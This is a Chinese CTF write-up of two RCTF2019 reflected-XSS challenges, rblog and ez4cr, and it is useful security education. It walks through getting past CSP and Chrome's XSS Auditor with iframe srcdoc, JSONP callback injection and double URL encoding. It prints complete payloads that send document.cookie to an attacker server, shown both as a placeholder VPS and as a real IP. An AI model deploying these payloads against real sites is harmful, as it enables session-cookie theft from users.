这两道题都是关于反射型XSS绕过。看wp还复现了蛮长时间,bot好像挂了,所以就打打自己cookie吧

rblog
1.查看所有接口地址 2.接口中的v1v2可能是版本号
发现接口地址https://rblog.2019.rctf.rois.io/api/v1/posts
这里注意:
v2的Content-Type: application/json 此时浏览器不会解析插入标签
v1的Content-Type: text/html; charset=UTF-8 此时浏览器会解析标签执行js脚本

修改v1的posts发现XSS注入点。

{"error":"route '\/zhurudian' does not exist."}

后端对正反斜杠、单双引号会进行转义
后端会把中文(句号) unicode 编码

{"error":"route '\/\u3002' does not exist."}

页面上还存在CSP:default-src 'self'; object-src 'none'

构造payload的过程:
1.利用iframe绕过后端单双引号,正反斜杠的过滤:
我们希望的是页面回显之后出现形如

<script src="xx"></script>

的输出。这样浏览器才能解析标签执行我们的js脚本
所以将我们的script代码编码成HTML代码,然后利用iframe来执行

https://rblog.2019.rctf.rois.io/api/v1/<iframe srcdoc=xxxxxxxx>

srcdoc 属性规定页面的 HTML 内容显示在行内框架中。

小插曲:利用iframe插入代码
假如我们要在srcdoc中插入的script代码为:<script>alert(1)</script>
js代码本身的HTML编码为:

&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x0a;

如果我们自己本地建一个文件,文件里面插入

<iframe srcdoc=&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x0a;>

用浏览器打开文件就可以执行js代码。
但是我们要粘贴到浏览器地址栏中执行的话,因为里面存在特殊字符&和#,所以需要URL编码。

总结:把要执行的js代码经过 HTML编码、URL编码后插入srcdoc=后面

2.利用JSONP callback参数注入绕过CSP
上面已经得到了https://rblog.2019.rctf.rois.io/api/v1/<iframe srcdoc=xxxxxxxx>
这里就来确定xxxxx的内容是什么
由于CSP禁用了inline,只能执行<script src='xxx'></script>形式的代码。jsonp本身就是处理跨域问题的,所以它一定在可信域中。如果JSONP的callback参数一旦发生注入,你就可以构造任意js。

我们知道JSONP的形式是<script src='xxx'></script>,所以我们这里的代码为

<script src="https://rblog.2019.rctf.rois.io/api/v1/posts?callback=parent.location.href='http://your_vps_ip/xss?'%2bescape(document.cookie);console.log"></script>

最终浏览器接收到parent.location.href=‘http://your_vps_ip/xss?’+escape(document.cookie);console.log(xxx)并当成js执行。

注意这里的加号在src里面要经过URL编码

疑问1,为什么我们的srcdoc要使用<script src='xxx'></script>形式,使用<script>xxx</script>的形式不行吗?
答:这是为了让我们能绕过CSP,因为不允许执行inline代码

疑问2,直接使用https://rblog.2019.rctf.rois.io/api/v1/<script src='xxx'></script>不行吗?
答:不行,如果直接使用这样的形式,页面会把单双引号,正反斜杠转义过滤。

疑问3,我们直接访问JSONP的地址https://rblog.2019.rctf.rois.io/api/v1/posts?callback=alert(1)并不会执行代码。因为其content-type为application/javascript;就和我们平时直接访问页面上的js文件不会执行代码一样。

何时浏览器会执行代码?
在content-type为text/html的情况下出现script标签就会执行里面的内容。

只有结合iframe绕过和JSONP形式才能同时绕过这两个限制。

3.利用后端对中文的处理绕过chrome audit
这就绕过了后端的过滤,但是还绕不过chrome的XSS过滤器。
我们从 Auditor 的原理来考虑: Auditor 会检测 URL 中的含有的代码和页面中含有的代码是否一致,如果一致则会拦截。反之,从以往看到的很多 bypass 案例中,都可以知道如果后端对 URL 中的一些字符做了处理再返回,导致 URL 和页面中的内容不一致,就不会被拦截。
srcdoc=(此处加入多个句号)xxxxxxxx可以绕过Auditor

本题知识点总结
1.利用iframe绕过后端过滤
2.利用JSONP callback参数注入绕过CSP
3.利用后端对中文的处理绕过chrome Auditor

payload:
https://rblog.2019.rctf.rois.io/api/v1/<iframe srcdoc=。。。。。。。。。。。。。。%26%23%78%33%63%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%23%78%32%30%3b%26%23%78%37%33%3b%26%23%78%37%32%3b%26%23%78%36%33%3b%26%23%78%33%64%3b%26%23%78%32%32%3b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%37%33%3b%26%23%78%33%61%3b%26%23%78%32%66%3b%26%23%78%32%66%3b%26%23%78%37%32%3b%26%23%78%36%32%3b%26%23%78%36%63%3b%26%23%78%36%66%3b%26%23%78%36%37%3b%26%23%78%32%65%3b%26%23%78%33%32%3b%26%23%78%33%30%3b%26%23%78%33%31%3b%26%23%78%33%39%3b%26%23%78%32%65%3b%26%23%78%37%32%3b%26%23%78%36%33%3b%26%23%78%37%34%3b%26%23%78%36%36%3b%26%23%78%32%65%3b%26%23%78%37%32%3b%26%23%78%36%66%3b%26%23%78%36%39%3b%26%23%78%37%33%3b%26%23%78%32%65%3b%26%23%78%36%39%3b%26%23%78%36%66%3b%26%23%78%32%66%3b%26%23%78%36%31%3b%26%23%78%37%30%3b%26%23%78%36%39%3b%26%23%78%32%66%3b%26%23%78%37%36%3b%26%23%78%33%31%3b%26%23%78%32%66%3b%26%23%78%37%30%3b%26%23%78%36%66%3b%26%23%78%37%33%3b%26%23%78%37%34%3b%26%23%78%37%33%3b%26%23%78%33%66%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%63%3b%26%23%78%36%63%3b%26%23%78%36%32%3b%26%23%78%36%31%3b%26%23%78%36%33%3b%26%23%78%36%62%3b%26%23%78%33%64%3b%26%23%78%37%30%3b%26%23%78%36%31%3b%26%23%78%37%32%3b%26%23%78%36%35%3b%26%23%78%36%65%3b%26%23%78%37%34%3b%26%23%78%32%65%3b%26%23%78%36%63%3b%26%23%78%36%66%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%37%34%3b%26%23%78%36%39%3b%26%23%78%36%66%3b%26%23%78%36%65%3b%26%23%78%32%65%3b%26%23%78%36%38%3b%26%23%78%37%32%3b%26%23%78%36%35%3b%26%23%78%36%36%3b%26%23%78%33%64%3b%26%23%78%32%37%3b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%33%61%3b%26%23%78%32%66%3b%26%23%78%32%66%3b%26%23%78%33%31%3b%26%23%78%33%30%3b%26%23%78%33%36%3b%26%23%78%32%65%3b%26%23%78%33%31%3b%26%23%78%33%35%3b%26%23%78%32%65%3b%26%23%78%33%39%3b%26%23%78%33%30%3b%26%23%78%32%65%3b%26%23%78%33%39%3b%26%23%78%33%33%3b%26%23%78%32%66%3b%26%23%78%37%38%3b%26%23%78%37%33%3b%26%23%78%37%33%3b%26%23%78%33%66%3b%26%23%78%32%37%3b%26%23%78%32%35%3b%26%23%78%33%32%3b%26%23%78%36%32%3b%26%23%78%36%35%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%37%30%3b%26%23%78%36%35%3b%26%23%78%32%38%3b%26%23%78%36%34%3b%26%23%78%36%66%3b%26%23%78%36%33%3b%26%23%78%37%35%3b%26%23%78%36%64%3b%26%23%78%36%35%3b%26%23%78%36%65%3b%26%23%78%37%34%3b%26%23%78%32%65%3b%26%23%78%36%33%3b%26%23%78%36%66%3b%26%23%78%36%66%3b%26%23%78%36%62%3b%26%23%78%36%39%3b%26%23%78%36%35%3b%26%23%78%32%39%3b%26%23%78%33%62%3b%26%23%78%36%33%3b%26%23%78%36%66%3b%26%23%78%36%65%3b%26%23%78%37%33%3b%26%23%78%36%66%3b%26%23%78%36%63%3b%26%23%78%36%35%3b%26%23%78%32%65%3b%26%23%78%36%63%3b%26%23%78%36%66%3b%26%23%78%36%37%3b%26%23%78%32%32%3b%26%23%78%33%65%3b%26%23%78%33%63%3b%26%23%78%32%66%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%23%78%33%65%3b%26%23%78%30%61%3b>

在自己服务器上可以接受到自己cookie
打开首页的2019 writeup连接通往管理员后台,其实也是下一题的入口。

RCTF{uwu_easy_bypass_with_escaped_unicode}

ez4cr
本题没有后端过滤,只需要绕过CSP和Auditor即可
要寻找一个XSS的点,和上题一样,需要text/html才可以解析js代码执行
https://report-rblog.2019.rctf.rois.io/report.php?callback=test
返回的就是text/html页面。

考虑构造payload:
1.利用JSONP绕过CSP
XSS构造的形式应该为

https://report-rblog.2019.rctf.rois.io/report.php?callback=<script src=xxxx></script>

xxxxx应为JSONP:

https://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'%2bescape(document.cookie);

这样返回location.href='http://106.15.90.93/xss'+escape(document.cookie);被执行

将上面两个组合,最终形式:

https://report-rblog.2019.rctf.rois.io/report.php?callback=<script src=https://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'%252bescape(document.cookie);></script>

(区别在将 % URL编码)

URL要进行几次编码的考虑:每发起一次请求都会进行一次URL解码,所以发起两次请求就要两次URL编码

第一次发的请求经过解码变为
https://report-rblog.2019.rctf.rois.io/report.php?callback=<script src=https://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'%2bescape(document.cookie);></script>
返回到前端变为:
<script src=https://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'%2bescape(document.cookie);></script>
随后向src属性的地址发起第二次请求:
https://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'%2bescape(document.cookie);
在后端解码成为:
https://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'+escape(document.cookie);
返回最终js代码:
location.href='http://106.15.90.93/xss'+escape(document.cookie)
顺利执行

2.绕过Auditor:
URL payload 中 script src 的协议 http 经过后端返回到页面中时直接变成了 https ,还贴心的给 src 加上了双引号,所以打破了一致性,绕过了 Auditor 。
协议的 upgrade 其实并不是后端处理的,而是因为题目使用了 Cloudflare CDN ,被 CDN 自动处理的

将https改为http
payload:

https://report-rblog.2019.rctf.rois.io/report.php?callback=<script src=http://report-rblog.2019.rctf.rois.io/report.php?callback=location.href='http://106.15.90.93/xss'%252bescape(document.cookie);></script>

RCTF{charset_in_content-type_ignored._.??did_i_find_a_chrome_xss_filter_bypass_0day}

注意:如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息

基本步骤总结:
1.首先找XSS的点,最外层始终是XSS。
2.考虑过滤,用各种形式绕过
3.构造内层JSONP,发起二次请求

RCTF2019web题目复现之rblog和ez4cr相关推荐

  1. 近段时间参加的CTF竞赛部分题目复现(ISCC2020 、GKCTF、网鼎杯)

    本文目录 前言 ISCC Misc 签到题 耳听为实 千层套路 ISCC Web Php is the best language ISCC成绩查询-2 ISCC成绩查询_3 What can ima ...

  2. 国赛ezpop题目复现(tp6)

    前言 五月份国赛题目涉及到tp6的反序列化,当时也是在网上找的exp打,不知道其中的链子是怎么构造的,前段时间也接触了tp框架的反序列化,利用这次机会好好复现一下,弄懂其中的原理.在ctfshow和n ...

  3. 第二届BJD CTF做题总结与题目复现-MISCCrypto

    0x00 前言 上周参加了第二届BJD CTF,本Web dog太垃圾,就做出两道Web.不过还好MISC和Crypto做的还行.那就先总结复现一下.标*表示未作出的 0x01 MISC 这个做的还行 ...

  4. 安恒11月赛Web题目复现

    考完网络安全跟算法就赶紧来复现一下题目,又学到了一波知识了23333,这次题目的质量贼好 手速要快 上一个月的原题,不多说,直接在http头里面找到对应的password登陆以后直接就是关于页面上传的 ...

  5. BJDCTF2nd部分题目复现

    复现 web fake google old-hack duangShell Schrödinger 假猪套天下第一 XSS之光 elementmaster 文件探测 EasyAspDotNet m ...

  6. NCTF2022 calc题目复现

    calc(环境变量注入getshell) 经典计算器题目,看着有点眼熟,没错,就是buu三月赛的一道题目.由于那时候web可能都算不上入门,所以也就没有复现.比赛时就网上看了看三月赛的wp,但是没有什 ...

  7. 2021-NCTF pwn方向题目复现

    周末在学校摸鱼了所以没有参加比赛,赛后看题又一次深刻的感觉到自己有多菜了(被新生赛暴打的大二菜狗子 1.easyheap 算是pwn的签到题目了,从libc2.32起加了一个异或的保护,不过因为uaf ...

  8. 2019某行业CTF大赛题目复现——图片隐写

    0x01上题目附件: 百度网盘地址 提取码 https://pan.baidu.com/s/13hDSgmW4cn9gEWqHjJrWIw 20ra 0x02WP复现: 1.打开图片:发现宽和高好像没 ...

  9. [*CTF2022]web题目复现及wp

    文章目录 WEB oh-my-grafana oh-my-notepro 坑点 oh-my-lotto 非预期 PATH变量 WGETRC变量 oh-my-lotto-revenge 非预期 WGET ...

最新文章

  1. javca中redis获取value_接口测试:如何从redis中获取短信验证码
  2. poj2154Color polya定理+欧拉函数优化
  3. php7 imagick安装,php扩展imagick安装for windows7
  4. LinearLayout具体解释一:LinearLayout的简单介绍
  5. 日期setMinutes()方法以及JavaScript中的示例
  6. 浏览器怎么清理缓存_Mac系统浏览器缓存清理工具
  7. window10 安装出现the error code is 2503错误的解决方法
  8. JavaScript之 函数
  9. Linux 常用命令十四 killall和pkill
  10. 在线浏览stp(step)文件(一)
  11. cad汉仪长仿宋体_cad长仿宋体下载
  12. iosepub阅读器_epub格式电子书阅读器 iOS版
  13. Who is the lion(谁是狮子)!
  14. 使用jQuery Mobile和Phone Gap开发Android应用程序
  15. UBOOT 字库相关
  16. delphi控件切图界面闪烁_8、控件系列之_加载占位图+页面指示器
  17. AutoSAR系列讲解(入门篇)1.1-AutoSAR发展
  18. 《数据挖掘概念与技术》学习笔记-第二章
  19. java中计算包含汉字字符串的长度
  20. CSS3自定义滚动条样式 -webkit-scrollbar

热门文章

  1. 如何给模型加入先验知识?
  2. js时间戳转换为日期时间格式
  3. 财阀还是民主?DeFi协议大战,暗潮汹涌
  4. 30天免费试用 ▎(IDM) 极速下载工具
  5. Java基础Day01-Java基础语法
  6. ESP8266 NodeMCU:ESP-NOW Web 服务器传感器仪表板(ESP-NOW + Wi-Fi)
  7. 【Web技术】1274- 深入浅出前端监控
  8. kali 利用msf通过win7永恒之蓝漏洞获取权限
  9. Skia深入分析6——skia中图像编解码代码概述
  10. SVM中支持向量的通俗解释